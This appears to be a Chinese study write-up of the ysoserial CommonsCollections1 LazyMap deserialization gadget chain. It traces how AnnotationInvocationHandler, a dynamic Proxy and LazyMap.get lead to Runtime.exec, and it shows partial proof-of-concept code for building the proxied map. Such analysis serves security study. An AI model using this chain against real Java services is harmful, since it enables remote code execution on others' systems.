CC1-LazyMap

ysoserial中的CC1的payload用的不是TransformedMap而是LazyMap

	Gadget chain:
		ObjectInputStream.readObject()
			AnnotationInvocationHandler.readObject()
				Map(Proxy).entrySet()
					AnnotationInvocationHandler.invoke()
						LazyMap.get()
							ChainedTransformer.transform()
								ConstantTransformer.transform()
								InvokerTransformer.transform()
									Method.invoke()
										Class.getMethod()
								InvokerTransformer.transform()
									Method.invoke()
										Runtime.getRuntime()
								InvokerTransformer.transform()
									Method.invoke()
										Runtime.exec()

这里直接引用p神对lazymap的讲解:

LazyMap和TransformedMap类似,都来自于Common-Collections库,并继承AbstractMapDecorator。

LazyMap的漏洞触发点和TransformedMap唯一的差别是,TransformedMap是在写入元素的时候执行transform,而LazyMap是在其get方法中执行的 factory.transform 。其实这也好理解,LazyMap

的作用是“懒加载”,在get找不到值的时候,它会调用 factory.transform 方法去获取一个值:

public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}

触发点是这个:Object value = this.factory.transform(key);

再来看一看构造函数

    public static Map decorate(Map map, Transformer factory) {
        return new LazyMap(map, factory);
    }

    protected LazyMap(Map map, Transformer factory) {
        super(map);
        if (factory == null) {
            throw new IllegalArgumentException("Factory must not be null");
        } else {
            this.factory = factory;
        }
    }

和之前用的TransformedMap非常像,所以这里我们这么构造

Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

但是我们之前的反序列化调用是这样的:

var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));

这个lazymap调用的不是setValue而是get

所以需要去寻找新的点来触发

AnnotationInvocationHandler类的invoke方法有调用到get:

Object var6 = this.memberValues.get(var4);

public Object invoke(Object var1, Method var2, Object[] var3) {
        String var4 = var2.getName();
        Class[] var5 = var2.getParameterTypes();
        if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
            return this.equalsImpl(var3[0]);
        } else if (var5.length != 0) {
            throw new AssertionError("Too many parameters for an annotation method");
        } else {
            switch (var4) {
                case "toString":
                    return this.toStringImpl();
                case "hashCode":
                    return this.hashCodeImpl();
                case "annotationType":
                    return this.type;
                default:
                    Object var6 = this.memberValues.get(var4);
                    if (var6 == null) {
                        throw new IncompleteAnnotationException(this.type, var4);
                    } else if (var6 instanceof ExceptionProxy) {
                        throw ((ExceptionProxy)var6).generateException();
                    } else {
                        if (var6.getClass().isArray() && Array.getLength(var6) != 0) {
                            var6 = this.cloneArray(var6);
                        }

                        return var6;
                    }
            }
        }
    }

那又怎么去调用这个invoke呢?

ysoserial的作者给出的Gadget解决方案是这一步:Map(Proxy).entrySet()

这里就涉及到一个Java的技术:动态代理

Java动态代理位于Java.lang.reflect包下,我们一般就仅涉及Java.lang.reflect.Proxy类与InvocationHandler接口,使用其配合反射,完成实现动态代理的操作。

  • InvocationHandler接口:负责提供调用代理操作。

    ​ 是由代理对象调用处理器实现的接口,定义了一个invoke()方法,每个代理对象都有一个关联的接口。==当代理对象上调用方法时,该方法会被自动转发到InvocationHandler.invoke()方法==来进行调用。

  • Proxy类:负责动态构建代理类

    ​ 提供四个静态方法来为一组接口动态生成的代理类并返回代理类的实例对象。

getProxyClass(ClassLoader,Class<?>...):获取指定类加载器和动态代理类对象
newProxyInstance(ClassLoader,Class<?>[],InvocationHandler):指定类加载器一组接口调用处理器
isProxyClass(Class<?>):判断获取的类是否为一个动态代理类;

getInvocationHandler(Object):获取指定代理类实例查找与它相关联的调用处理器实例;

而AnnotationInvocationHandler是实现了InvocationHandler接口的

class AnnotationInvocationHandler implements InvocationHandler, Serializable

设计好的Map的话,那么这个Map执行任意的方法都会走进invoke从而进入我们构造好的链子了

这里是把AnnotationInvocationHandler当代理类了,我们自己实现一个委托map

要对 sun.reflect.annotation.AnnotationInvocationHandler 对象进行Proxy:

Class clazz =Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler)construct.newInstance(Retention.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), newClass[] {Map.class}, handler);

代理后的对象叫做proxyMap,类型是Map ,但我们不能直接对其进行序列化,因为我们入口点是sun.reflect.annotation.AnnotationInvocationHandler#readObject

所以我们还需要再用AnnotationInvocationHandler对这个proxyMap进行包裹:

(AnnotationInvocationHandler 实现了 InvocationHandler接口)

handler = (InvocationHandler) construct.newInstance(Retention.class,proxyMap);

到这里poc就构建完了

调试

反序列化的这里调用了entrySet()方法,代理类执行任何方法都会被转到invoke

Iterator var4 = this.memberValues.entrySet().iterator();

image-20240808153426405

不细说了

image-20240808154123601

最后说下

这里感觉不好调进去,不知道哪里有问题,this.map会被put进一些值,应该说put一次就执行一次,所以这里我也是弹出了三个计算器

image-20240808154231811

image-20240808154411706

0%